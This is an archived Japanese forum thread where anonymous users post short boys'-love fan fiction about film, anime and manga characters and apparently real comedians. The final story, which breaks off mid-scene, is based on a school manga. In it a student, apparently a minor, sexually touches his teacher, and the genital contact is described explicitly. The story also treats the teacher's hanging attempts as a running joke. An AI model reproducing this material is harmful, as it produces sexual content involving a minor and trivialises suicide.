キッチンには、カレーが作ってあった。そういえばカレーの匂いがしてたんだけど
まさか家だと思わねーじゃん。隣りかと思ってたんだけど。
カレーは、どう見ても一人分じゃないし。
ちょっと待ってこれってもしかして俺の分もあって、しかも食うの待っててくれたって事?
俺の帰りを待っててくれたって事?
「まじっすか?」
やっべぇ。
何が中華だよ。
いらねーよ中華なんて。
「明日にでも食べてみろよ。俺はカレーだけはうまく作れるんだよ。」
「何が明日なんすか。全然今食べますよまじで。」
「別に気遣わなくていい。」
「誰が。」
食うに決まってんじゃん。誰が気なんか遣うかよ当然なんだよあんたが作ってくれたんだろ。
中華の袋を無造作にテーブルに放ってカレーの鍋に火を付けた。 <> 3/5<>sage<>2006/10/22(日) 14:45:59 ID:v6EUTvmS0<> この膜の張り具合、一時間以上は前に作られてんじゃねーの?
なんだよ突然。どうしちゃったんだよ空沢さん。
たまらなくなって空沢さんの方を振り返った。
空沢さんは中華の中身を吟味している。
なんかその仕草がいつもより100倍くらいかわいく見える。
カサカサ袋開けてる動作がいちいちかわいーく見えるんですけど。
笑顔全開になってる俺に気付いた空沢さんは、…あー。なんでだよ。
こともあろうに、俺に微笑み返しやがったよこの人。
違うだろ。いつものあんたならここでつーんとするんだろうが。
「何見てる」って言いながら汚らわしい物でも見る目で見るだろうが。
それを何?なんで微笑んじゃってるわけ?
天の邪鬼でひねくれ者のあんたらしくない、そんな反応は反則じゃねぇの?
そのせいで俺の顔が熱くなってきた。なんなんだまじで。
恥ずかしくなった俺は温めてる間に洗濯物の選別でもしようと逃げるように脱衣所に向かった。
ところが。
溜まってるはずの洗濯物がねえ。
「あのー、空沢さん?」
「なんだ。」
空沢さんはご飯を盛っていた。俺の分も。
ありえねぇ…
「そのー、洗濯もしたんですか?あなたが。」
「したら悪いか。いいじゃないかお前の仕事が減って。」
「いや、全然いいんですけど。」
なんか…拍子抜け、したかもしんねぇ。 <> 4/5<>sage<>2006/10/22(日) 14:46:35 ID:v6EUTvmS0<> いや嬉しい。色々すっっげぇ嬉しい。色々嬉しいんだけど、
俺、なんか空沢さんってやっぱ俺が居ないと駄目だな、なんてちょっと思ってたとこあったんだよな。
しょうがないなーなんて言いながら、世話を焼くのが好きで。
いや、全然いいんだけど。
「できたぞ。…中華もおかずで食おうぜ。」
「あ、はい。じゃあ温めます。」
「ああ頼む。じゃこれ持ってくから。」
空沢さんは二人分のカレーライスをソファの前のテーブルに持っていった。
中華を皿に盛り、レンジで温めながら俺はなんだか嬉しいような寂しいような気持ちになっていた。
まぁでも、これってどう考えても、空沢さんは俺のために色々してくれたんだよな。
この一週間色々思っててくれて、そんでこうしてくれてんだよな。
…何思ったんだろ。
俺が一週間も居なかったのに、空沢さんはちゃんと生活していて。
想像じゃ飯もコンビニか店屋物、洗濯も溜まってて
あーやっぱり木村が居ないと駄目だなんて思ってくれるのをちょっと、…いやかーなーり、
期待してた的な所があったけどな。
んで、なんかちょっと距離縮まっちゃったり?てのをかーなーり、期待、してたりしたけど。
まぁでもこれはこれでよくね?
ていうかこれって実はすっげぇ距離縮まってんじゃねぇか。 <> 5/5<>sage<>2006/10/22(日) 14:47:29 ID:v6EUTvmS0<> ふと気配がして振り返ると、空沢さんが近くに立っていた。
「あ、持っていきますから先に食べててください。」
空沢さんの目がキョロキョロッと動いた。
何も言わなかったけど、その場から動こうとしない。
「どうしたんですか?」
人差し指で鼻の頭を掻きながら、空沢さんは少し俯いた。
あぁ。
ほんと、この一週間で何を思ったんだか。
なんでいきなりこんなにしおらしくなるかな。
ここは俺、勘違いかもなんてビビってる場合じゃねぇな。
俺の都合のいいように考えれば、これがこの人の精一杯だ。
じゃあ今この人が待ってんのは。
俺はにかっと笑った。空沢さんがそれに気付くか気付かないかのタイミングで
素早く抱きよせた。
「…。」
…ほら。やっぱり何も言わない。ビンゴだ。
「空沢さーん、…俺の事さぁ、ちょっと好きになっちゃった?」
背中にぼこっとげんこつを食らった。
全然痛くねぇんだよ。 <> 5/5<>sage<>2006/10/22(日) 14:48:31 ID:v6EUTvmS0<>  ____________
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 | |                | |     ピッ   (・∀・ )      逢えない時間が愛育てるのさ
 | |                | |       ◇⊂    ) __  目を瞑ればキミが居る〜♪
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  | おそまつでした
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   | <> 風と木の名無しさん<>sage<>2006/10/22(日) 17:20:48 ID:/cOYoAG60<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                    |  映画「黒ダリア」の炎と氷の話です。
 ____________  \         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄V ̄ ̄|  思いっきりネタバレしているので、注意
 | |                | |            \
 | | |> PLAY.       | |              ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ※映画版にあわせています
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )  
 | |                | |       ◇⊂    )(    ) |  ヽノ___
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 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  | <> 1<>sage<>2006/10/22(日) 17:21:37 ID:/cOYoAG60<> 階段を登った時、俺は自分が震えていることに気がついた。
ドアをノックしたいけれど、上手く手を動かせない。
崩れ落ちそうな膝をふるいたたせ、俺はドアの脇にあるベンチに座り込んだ。
何とか立ち直ろう、平常心になろうと頑張ったけれど、俺の脳は、この数時間で
起こったことを否定するのに必死で、それどころではない。
違う。あれは悪い夢。現実じゃない。
明日、局に行けばリーは普通に机に座っていて、「遅いぞ。ダリアの有力な手がかりが

見つかった。すぐに向かうぞ、パートナー」と言い出す。それを俺は「お前はまだ…」と
呆れながら、追いかける。警察署の入り口を埋め尽くす記者は、俺たちの名を口々に
呼び、ポンポンとフラッシュをたく。それを俺達はかきわけ、車に乗り込む。
―――そんなわけはない。
俺のヒザは、まるでリズムでも刻むかのように、ひどく震えていた。
考えまいとしても、凄惨なリーの死体が、頭に常に浮かんでいる。
誰もを魅了したあの笑みは、どこにもさがすことができなかった。
潰れた顔は血がベッタリと貼りつき、もう半分は、俺自身が殴ったアザが、いくつも
肌を青黒く染めていた。
あの地獄のような軽口をつむぎだす口は、歯と顎が砕かれたせいで小さくなり、裂けた
頬がダリアと同じ笑みを浮かべていた。
あのイタズラを考え出した悪ガキのような、キラキラした瞳は、血で赤く染まっていた。
あのリングの上で、俺を翻弄した脚は、変な方向に曲がっていた。
あの弾丸のようなパンチを放っていた腕は。
あの時俺が殴りつけた腹は。
あの―――炎は。
思わず両手で頭を抱えると、窓ガラスに自分が映りこんでいることに気がついた。
亡霊のように青白く染まった顔が、ぼんやりとこちらを眺めている。 <> 2<>sage<>2006/10/22(日) 17:22:07 ID:/cOYoAG60<> 『オーケイ、パートナー』

ふと、彼と初めて話した時の会話が、頭をよぎった。
俺がまだ糞だめの蛆だった時から、俺を「パートナー」と呼んだ人。
偶然出会った、英雄、リー・ブランチャード。
彼のおかげで、「密告者」だった俺は、永遠に続く糞だめから這い上がれた。
未来を見通しているかのような彼の仕事っぷりが、俺まで一まわりも二まわりも
大きい人間にしてくれた。
憧れの特捜科に配属され、地位・名誉・金・友情なんていう人生の楽しさを教えてもらった。
一生かかっても返しきれないぐらいの借りが、彼にはあるのに。
どうして一つも返せないまま…俺に殴られたままで死ぬんだ。
何も言えないまま…

―――最後に何か言うことは?

彼の死体を前にして、言われたセリフを思い出した。
彼が一番欲しがっただろう言葉って何だったんだろう。
「安らかに眠れ」か? 「ブラック・ダリアは俺が解決する」か?
いや…彼はあんなにケイのことを愛していたんだ。ケイのことを言うべきだった。 <> 3<>sage<>2006/10/22(日) 17:23:25 ID:/cOYoAG60<>
―――アイス&ファイア…

しかしあの時の俺には、あの言葉しか思い浮かばなかった。
俺達二人がパートナーだった時の名前。
何もかもが幸せだった時に、俺達二人を他人が呼んだ名前。
俺は、その言葉だけを持って、彼に天国にいってほしかったんだ。

顔を伏せて、はじめて自分がバカみたいに泣いていることに気がついた。
どうしようもない思いで、頭が一杯だった。
彼が俺を何と思っていたのかは、今となっては分からない。
俺の全てをくれた人。
そして全てを奪っていって死んだ人。

「アイス&ファイア…」

俺は、その言葉を呟いて、声に出して泣いた。
玄関の鍵を開ける音がする。
これから、ケイにリーの死を伝えなければいけない。
あぁ、俺は今のうちに、この涙を流しきってしまわなければ。
今俺の心にある炎を、全て涙で消してしまわなければ。
勘のいい彼女は、俺がどういう気持ちでリーのことを思っていたか、気づいてしまうだろうから。
俺はブラック・ダリアに祈った。心の底から。お前の黒で、この炎を消してくれ。早く。 <> 3<>sage<>2006/10/22(日) 17:24:13 ID:/cOYoAG60<>  ____________
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 | |                | |     ピッ   (・∀・ )     最高の萌え映画をありがとう。
 | |                | |       ◇⊂    ) __  
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
<> 風と木の名無しさん<>sage<>2006/10/22(日) 18:30:31 ID:ORcnru/T0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                    |  某劇団 第14邸國の終生元帥受風日常ネタモナー
 ____________  \         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄V ̄ ̄|  エロ無し、ギャグだからな
 | |                | |            \
 | | |> PLAY.       | |              ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ 
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )   元ネタ知ってる人いるのかゴルァ
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  | <> 1/3<>sage<>2006/10/22(日) 18:31:03 ID:ORcnru/T0<> 臣/民の皆様今晩は。
ここは帝都と13の公國からなる第14邸國であります。
我々は14邸國における軍隊、来ヒス・リッ夕ーです。
皇認/独裁官にして邸國元帥 楠本終生を筆頭に各公國の最高/司令官が集まっております。
小官はそこの中将であります。名は定光字輝信。終生元帥に生涯の忠誠を誓っております。
さて、リッ夕ー達は毎日戦争や暴動でこの國を守ることに大忙し。
それでなくともどこか頭のおかしい連中が集まっているので、城の中でも日々平穏など無いのであります。
「失礼します!!定光字中将!!」
「なんだ叶中佐騒々しい。」
「はっ申しわけありません!しかし終生元帥が…!」
「何?!終生元帥に何が?」
思えばあのお方は新人になったり死んだりそっくりさんが現れたり子どもができたり
心だけ子どもに戻ったり色々問題を起こしてきました。
終生元帥曰く、ここは精神/世界だから、この世は全て思い通り…とか。
小官はまだその意味がよくわからずにおります。
兎にも角にも大事な終生元帥の一大事。この定光字、今参ります!

終生元帥の執務室に行くと、ちょうど終生元帥が風魔少佐の首を跳ねようとしておりました。
「しゅしゅしゅ終生元帥っおやめください!!一体どうしたというのです!!」
「定光字中将〜〜〜〜〜っっ助けてくださいぃぃいい小官にも何がなんだか…!」
「お前達何をしてるっ!終生元帥を止めろっ!」
「「「はっ!!」」」
怒り狂った終生元帥は数名の下士官に羽交い締めにされた。
ご無礼のほど、どうかお許しを… <> 2/3<>sage<>2006/10/22(日) 18:31:43 ID:ORcnru/T0<> 「ええい離せ!はーなーせっ!!」
「終生元帥、一体風魔少佐が何をしたというのです?」
「どうもこうもないっ風魔の幽霊が私の部屋に来て鬱陶しいのだ!」
だから殺す、と。
それをしてしまうと幽霊がより具現化するのではないでしょうか。
「終生元帥、ここの所お忙しくてお休みになって無いでしょう」
「貴官私の頭がおかしいと思っているのだな!私は嘘などついてないぞ!風魔に聞いて見ろっ」
風魔少佐はわけがわからないといった様子であります。
「終生元帥、風魔少佐はまだ死んでおりません。出るとすればそれは幽霊では無く、生き霊でしょう。」
「生き霊か。まったく生き霊を出すなんてはた迷惑な男だ!用があるなら実物で来い!」
まったく、面倒くさがりもここまで来ると病気だな、など呟きながら、終生元帥が刀をしまうのを見て
小官はホッと胸をなで下ろしました。
さて。
「それで、風魔少佐は終生元帥のお部屋に来て一体何をしているのです?」
「そうだ!この男、音もなく侵入してきたかと思えばいきなり私を押し倒したんだ!」
一瞬場が凍り付くのを感じました。
次に銃を持った私が下士官に羽交い締めにされました。
10分ほどの乱闘ののち、私はようやく落ち着きを取り戻しました。
「風魔少佐、説明してもらおうか。」
「知りませんよぅ…小官は何もしてません。昨日の夜だって叶中佐と一緒に」
「あ、そう、UNOやってたんですよ。☆野中佐と三人で。」
「貴官ら私が一生懸命仕事している間にずいぶん楽しそうじゃないか」
「あ、ちなみに小官が勝ちました!」
「☆野中佐、勝ち負けなど聞いていないが、貴官が勝つなんて珍しいな。」
「そうでしょー?だってねぇ昨日風魔少佐途中からなんかボーっとしてておかしかったんですよねえ」
いつものキレが無かったっていうの?と何故かタメ口だけど許されるキャラクターで☆野中佐は話しました。 <> 3/3<>sage<>2006/10/22(日) 18:32:24 ID:ORcnru/T0<> 「ところで終生元帥。押し倒されて、その後は…?」
「ああ、マントをはずされた。」
再び怒りで手が震えましたが、グッと押さえ、続きを促すと、
どうもニヤニヤして部屋に入ってきた風魔少佐に押し倒され、手足を押さえつけられてマントを外された。
その後風魔少佐はそのマントを自分の背に取付け、何やらポーズを取り、そのまま消えたらしい。
「後にはマントだけが残されたんだけどな。」
「「「「「……。」」」」」
それは間違いなく風魔少佐の生き霊だな、とその場に居る全員が納得しました。
「ともかく、風魔少佐はむやみに生き霊を出さないように。」
「どうやってですかぁぁあ知りませんよ〜〜!!」
「終生元帥も元帥なんですから、簡単に下士官に押し倒されたりしないでください。」
「どうやってですかー知りませんよー」
「ふざけないっ」
「ふん!しょうがないだろう!私は貴官達がUNOやってる間も働かなきゃいけないんだからな!」
そうですね。終生元帥の負担が少しは軽くなるように、小官たちも少し考えましょう…

そんなこんなで、本日も邸國は大忙し。平穏な日などありません。
ですが、私たちが必ずこの國を守ります。
臣民の皆様は今日も平和な日々をお過ごし下さいませ。 <> 風と木の名無しさん<>sage<>2006/10/22(日) 18:32:55 ID:ORcnru/T0<>  ____________
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 | |                | |       ◇⊂    ) __ おそまつでした。 
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   | <> シムーン 豆腐グラタン 1/1<>sage<>2006/10/22(日) 23:21:49 ID:Xh6+irdW0<> |>PLAY ピッ ◇⊂(・∀・ )アニメ死月。デュクス×艦長?固有名詞多くてスマソ

「艦長、またこんなところで…!」
頭上からその声が降ってきたのを聞いて、思わずくわえていた煙草の煙にむせた。
振り返ってみると眉根を寄せたデュクスが、腰に手をあてて立っている。
「ここなら見つからないと思ったんだが」
「あなたの行きそうなところなら大体見当はつきますよ」
私はため息をついて、制服の内ポケットから灰皿を取り出し煙草を押し付ける。

アルクス・プリーマの左舷甲板。シムーンの待機ブリッジの横は見晴らしが良い割
にあまり人が訪れることのない場所だった。私は艦内で一人になりたいときに過ご
すいくつかの隠れ場所を持っているが、必要があればいつでもグラギエフはその場
所を見つけ出した。それは私たちがシビュラであった時代からのグラギエフの特
技、のようなものだった。
「煙草はやめた方がいいと何度も言ったはずですが」
「君もこちらにこないか。風が気持ちいい」
私がそう言って手招きすると、グラギエフの表情が緩んで、いつもの優しい顔に
なった。
近づいてきた彼の制帽の下の藍色の髪が、吹き上げる風に揺れている。
「巫女樣方はどうしていらっしゃる?」
「今は休憩されていますよ。さすがに緊張されていましたからね」 <> シムーン 豆腐グラタン 2/3<>sage<>2006/10/22(日) 23:22:22 ID:Xh6+irdW0<> 数時間前、すでに制空権を奪われた宮国に対する示威行為として送り込まれた礁国
の飛行機械に対して、私のシミレとシムーンの混成部隊で奇襲攻撃を行った。
これは敵国の技術力向上により戦闘が激化して行く中、何度も司兵院上層部に対し
て提案しては却下されてきた戦術を応用したものだった。
アルクス・プリーマでのテロ攻撃の後、多くのシムーンは修復不能になり、また多
くのシビュラを失った。また、古代シムーンを嶺国に奪われた以上、軍事的判断を
するなら、非力なシミレであっても、それを量産して部隊を編制する必要がある。
軍事上何より失ってはならないものは制空権であるからだ。
こんな初歩的な話ですら、権力闘争と自己保身に走る上層部では相手にされない。
いや、はじめはただの宗教的権威付けであったこの言葉「シムーンは神の乗機」
に、長引く戦争への絶望感から盲目的に縋ってしまったのかもしれない。
そういった意味では、どんな絶望的な状況でも「自分たちに出来る事をする」と踏
みとどまって言った巫女様達のほうが、よほど大人だ。

「あなたもお疲れでしょう」
「シミレといえど、久しぶりの実戦だからな。さすがに10代の少女のようにはいか
ないさ」
「そうですか?私にはまったくひけをとらない操縦に見えましたが」
「内心は冷や汗ものだよ。君に艦をまかせていなかったら、とてもあんな無茶はで
きなかった」
「無茶だという自覚はありましたか」
「君はどうなんだ?その割には素直に従ってくれたが」
苦笑したグラギエフの手が私に伸びて、頬を撫でる。
「あなたがそういう性分である事は嫌というほどわかっていますから」 <> シムーン 豆腐グラタン 3/3<>sage<>2006/10/22(日) 23:23:12 ID:Xh6+irdW0<> あの時、彼は礼拝堂で『君の事がわからなくなった』と言った。
たしかに私は彼に対して沢山の嘘をついてきた。元々デュクスの職は軍属ではな
い。戦争にまつわる様々な暗部を、彼に見せたくなかったーーーというと聞こえが
いいが、むしろ暗部にまみれた自分のそんな姿を見せたくなかったのかもしれな
い。
玲瓏の巫女ーーーその高貴な少女の面影を、男になった今も残す彼に。

「あなたを信じられなくてごめんなさい」
頬を撫でていた彼の手が、ゆっくりと唇を撫でて、フワリと口づけられた。
それは誓いの口づけ。パルであった頃に何度も重ねた、祈りに似た優しい口づけ。
唇が離れると、突然の彼からの行為に、私の頬が少し火照る。そんな私を見て、グ
ラギエフは目を細めた。あの頃より背が高くなり、肩幅の広くなった彼に、抱きか
かえられるような形になっていることに気づいて、さらに顔が熱くなる。
「足りない」
悔しくなって乱暴に彼の頭を強く引き寄せ、唇を深く重ねる。
驚いて体を引こうとするのを押さえ付けて、薄く開いた唇から舌を割り入れる。
私がしがみつくように彼の首に手を回して、口づけの角度を変える頃には、最初は
躊躇っていた彼の舌も素直に応えてくれるようになった。

「煙草の味がする」
お互いに少し息を弾ませて離れた後、苦虫を噛み潰したような顔でグラギエフがそ
う言った。
「わかった。もうやめるから」
私はポケットの中の煙草をくしゃりと握りしめた。
戦闘の後の一服は美味いものだが、玲瓏の巫女との口づけは、他の何にも代え難い
のだ。

□ STOP ピッ ◇⊂(・∀・ )ぬるくてスマソ。軍事知識は捏造。 <> シムーン 豆腐グラタン<>sage<>2006/10/22(日) 23:24:49 ID:Xh6+irdW0<> >>420
すいません420の名前欄「1/3」ですね… <> 木木木<>sage<>2006/10/22(日) 23:56:05 ID:qokFbAVTO<> |> PLAY ピッ ◇⊂(・∀・) 低音ト玄米 デス

単独に出たって、見せれるもんなんてない。が、そんなこと、よう言えん。
なにも思いつかん。なのに仕事はくる。いっそのこと逃げてしまおうか。

「俺が辞めたらおまえはどうするよ?」

楽屋で寝ている相方に問い掛けたが当然返事はない。
「なあ、俺は疲れてるだけか?スランプか?」
相方の寝顔を見ながら吐き出す一言一言に涙がこみあげる。だから自分は疲れているのだろう。
いや、おそらくは、弱っている。
相方の傍で寝顔を見ながらため息をつく。

「倒れたり、するなや。……お前が、そんなんやから、俺は……」

相方不在のままの単独前日。自分は一人で舞台に立つ覚悟が、どうしても持てなかった。
その事実が俺を苛む。

「アホ担当が倒れてどないすんねん…!」

相方は、寝返りをうつふりをして、俺のあぐらをかいた膝の上に、手を乗せた。

結局はその手の温かさにほだされてしまうのだ。
そんな自分を苦い気持ちで思った。

単独の舞台開演まで、あと一時間。

□ STOP ピッ ◇⊂(・∀・;) イジョウデス <> 風と木の名無しさん<>sage<>2006/10/23(月) 01:44:02 ID:fq8+luPU0<> >>403
GJ!GJ!GJ!!!
ずっと待ってました(´∀`*) <> 風と木の名無しさん<>sage<>2006/10/23(月) 18:12:31 ID:IPWi0JUm0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  踊る〜 新条→榁井
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|   容疑者〜 が元ネタ 
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ 
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

<> 1<>sage<>2006/10/23(月) 18:13:29 ID:IPWi0JUm0<>
深夜、俺は車の中にいた。
「榁井さんの事は私に預けてくれませんか」
隣に座る一蒼は静かに聞いてきた。
「切れないか、お前は榁井を」
含みがあるかは考えないようにして答えた。
「いえ、切るならば私の手で。」
だが一蒼は重ねて言ってきた。
「それは私情からか」
ーやはり気づかれていたか。
「……あなたは平気なんですか。昔の恋人を…」
そう返すのがやっとだった。
一蒼は何も答えず車を降りていった。

以前、使われていない会議室で一蒼と榁井が抱き合っているのを目にした事があった。
驚きはしたが、むしろいつもの仏頂面からは想像できない榁井の切ない顔への驚きが大きかった。
二人を蹴落とすいいカードになると思いながらもその時の榁井の顔が焼き付いて、使えないままだ。
その後、一蒼は上司の娘と結婚した。情よりも出世や保身を優先させる一蒼らしい判断だ。


しばらくしてあの青縞がやって来た。
奴は強引にまわりを巻き込み振り回したが、人を惹きつける力を持っていた。
榁井の目が青縞を追うようになり、自らの信じる道を進もうとするようになるのに時間はかからなかった。
出世よりも事件を大切にし、同じ理想を追い求める二人はまさに一対だった。

<> 2<>sage<>2006/10/23(月) 18:14:04 ID:IPWi0JUm0<> その頃にはもう俺は榁井を目で追っている自分を自覚しないわけにはいかなかった。
だが何をできる訳でもなかった。イヤミであの仏頂面をこちらにむけさせるくらいしか。
俺とは目指すところが違うのは分かっている。あの2人が逆風の中でも前に進んでいこうとするのを見ていると
俺が目を反らしている何かが刺激されるのが苦しかった。俺には正論だけで行動する事はできないんだ。

今回の事件は厄介だったがいい機会でもあった。
相変わらず上の命令を無視して捜査を続けようとする榁井が
どこまで自分の正義を通せるか、奴との約束を守れるか見てやろうと思った。

だが結局俺の負けだ。
あんたに辞表は出させられても、その真っすぐさは変わらなかった。
奴と同じ目をしてどこまでも戦おうとした。

「…同時に広島県警察本部刑事部への異動を命じる」
これくらいの逸脱ならば俺の権限でできる。
わざわざ広島にしたのは奴と遠く引き離すため。
この歳で長い片思いにけりをつけたんだ。
これくらいの意地悪は許してくれ。

静かに一礼して榁井は出て行った。
あんたはあんたの信じる道を行け。

<> 風と木の名無しさん<>sage<>2006/10/23(月) 18:14:43 ID:IPWi0JUm0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ 
 | |                | |     ピッ   (・∀・ )  テレビで映画を見て禿げ萌え。   
 | |                | |       ◇⊂    ) __ 勢いでやった。後悔はしていない。
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |    おそまつでした。
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |

<> 元臣民<>sage<>2006/10/23(月) 19:36:30 ID:6crqpVzhO<> >415
まさか此処で彼奴等の名前を見ることになろうとは。 <> 風と木の名無しさん<>sage<>2006/10/23(月) 23:14:58 ID:ZzPnwR+xO<> >>403
か…かわいい空沢。キムの独白も毎度毎度ツボですよ!

姐さんのシリーズに影響されて「キミヲ忘レ無イ」レンタルして来てしまいましたw <> 風と木の名無しさん<>sage<>2006/10/24(火) 11:34:11 ID:K8xeEFS80<> >>403
続きキテター。
空沢の心情も気がむいたらぜひ…! <> 風と木の名無しさん<>sage<>2006/10/24(火) 11:43:42 ID:J4rZpi/E0<> >>410
GJGJGJ!
この頃が一番いい時代だった(うろ覚え)っていうのが泣かす二人でした・・・
炎、氷のことなんぼ好きなんだよ!っていう態度が端々に出ていてもう! <> 図書委員×ネガティブ教師<>sage<>2006/10/24(火) 22:05:30 ID:exK+spG80<> 週間少年マ○ジンで連載中の「さよなら糸色望せんせい」の
天才ストーリーテラー生徒×ネガティブ教師。

原作の教師は自殺癖のあるキャラで、投稿させてもらう話にも
そういったテーマが出てくるので(※死にオチではないです)注意。

|>PLAY ピッ ◇⊂(・∀・ )ナガクナリスギデモウシワケ <> 図書委員×ネガティブ教師1<>sage<>2006/10/24(火) 22:06:04 ID:exK+spG80<>
「絶望した!」

下校時刻が迫りほとんどの生徒が帰った後の静かな図書室に、突如響き渡った場違いな声。
一人黙々と大好きな読書に耽り至福の時間を過ごしていた図書委員の生徒──クドウは、
今の今まで活字だけを追っていた少々垂れ気味の目を静寂を破った読書の敵へと向けた。
視線の先にいたのは時代錯誤な和装の男、クドウのクラスの担任教師であるイトシキだ。
もっとも、そんなことは最初の声とフレーズを聞いた時点で既にわかっていたのだけれど。

「今度は何に絶望したんですか?先生」

一旦離した目を再び手元の本に戻しながら、クドウはそうイトシキに声を掛けた。
ドア付近に立っていたイトシキは元々あまり良くはない顔色を更に悪くしながらため息を吐き、
それからのろのろとした重い足取りで読書を再開したクドウの隣の席に着く。
彼はそのまま机に突っ伏した。そうして、先の質問にあった『本日の絶望の理由』を語り始める。

「先ほど、下校途中の小学生が中古ゲームを買う相談をしていたのです。
彼らは新品より安く手に入る中古を選び、そして飽きたらまた中古屋に売るのです。
リサイクルといえば聞こえはいいですが、それで手に取られないままの新品の立場はどうなるのです?
結局誰の手にも取ってもらえず、いつしか一度も開けられぬまま中古として扱われ値引きされる……
私だってきっとそうです。誰にも必要とされぬまま一生を終えるに決まってます」

そこまで語り終えると、イトシキはまたしても「絶望した!」と叫び声をあげた。
このイトシキという男は実に人並み外れたネガティブ思考の持ち主であり、
日常のあらゆる物事になにかと絶望しては自殺をはかるという厄介な性質の人間だった。
しかしその絶望の多くがひねくれたこじつけや単なる被害妄想だったりする上に自殺の方も
本気で死ぬ気があるのかいまいちわからない節があるので、違う意味でも厄介といえる存在だ。
とはいえクドウも今ではそんなイトシキにすっかり慣れている。 <> 図書委員×ネガティブ教師2<>sage<>2006/10/24(火) 22:07:23 ID:exK+spG80<> 「大丈夫ですよ先生、世の中には本やゲームは新品じゃないと気が済まないって人も多いんです。
そういう人達がいるから新品が新品という理由だけで売れ残ることは無いと思います」
「……そうでしょうか」
「そうですよ。だから心配しないでください」
「…………」

相変わらず目は活字を追うのみだが話はきちんと聞いていたらしく、クドウの口からはフォローの言葉がかけられる。
その時クドウは、自分の言葉を黙って聞いているイトシキの様子を横目でちらりと窺った。
先ほどまでの突っ伏した姿勢から今は項垂れた姿勢へと変わっている。
視界に映ったうなじには、赤い痕が付いていた。それは首を吊ろうとした縄の跡だ。
事ある毎に首を吊っては失敗し、結果生きたままの体に空しい痕だけを残す。
クドウはそれを滑稽だと常々思っていた。
死のうとするくせに本当に死にそうになると「死んだらどうする!」などと口走る彼。

「また首を吊ったんですか」
「でも邪魔されました」
「でしょうね。だって生きてるんだから、今」
「うう……」

尚も項垂れたまま気まずそうに唸るイトシキに、クドウは肩を竦めた。
別に責める気はない。ただ呆れたのだ。

「とりあえず絶望し終わったんなら読書の邪魔しないでください」
「……もうちょっと構ってくれてもいいじゃないですか……」

そう言って、イトシキは更に深く項垂れた。冷たいクドウ君に絶望した……などと呟きながら。
姿勢のせいで嫌でもうなじが目に入る。うなじにかかる黒い髪、赤い跡の残る白い肌。 <> 図書委員×ネガティブ教師3<>sage<>2006/10/24(火) 22:08:13 ID:exK+spG80<> クドウは暫しの無言の後、パタンと音をたて読み途中の本を閉じた。
そうして、恐らくなら項垂れたままこちらの様子をこっそり窺っているでのあろうイトシキの耳元に口を近づける。

「じゃあ、構ってあげます」

至近距離でそう囁き、クドウはそのままイトシキの着物に手を入れた。
慌てて顔を上げる相手の焦った抵抗など気にせずに、そのまま薄い胸板に触れる。

「ちょ、ちょっと待ってください……!」
「何ですか?構ってくれって言ったのは先生じゃないですか」
「わた、私は別に、そういう意味で言ったわけではないんです!」
「まあ、僕はそういう意味で取ったんで」
「そんな……私はあの、例えばほら……いつものように面白い創作童話を聞かせてもらいたいと……っ」
「とにかく、僕の読書を中断させたんですから文句なんて言わせませんよ」
「…………っ、」

絶望した!思春期の性欲に絶望した!
性分ゆえかそう叫んだイトシキの目には、普段通りの柔和な笑みを浮かべたクドウの顔が映った。

「ん……っ、」

机に手を付いた体を後ろから抱き込むようにしながら、クドウはイトシキの性器を扱いていく。
場所が場所だけに挿入は無しということで、代わりにといつもより丁寧な、ともすればねちっこいとすら
言える愛撫を施され、イトシキの口からはそろそろ我慢がきかなくなってきた喘ぎが漏れ始めていた。
薄い胸板に手を這わせれば、存在を主張している硬い尖りがわかる。
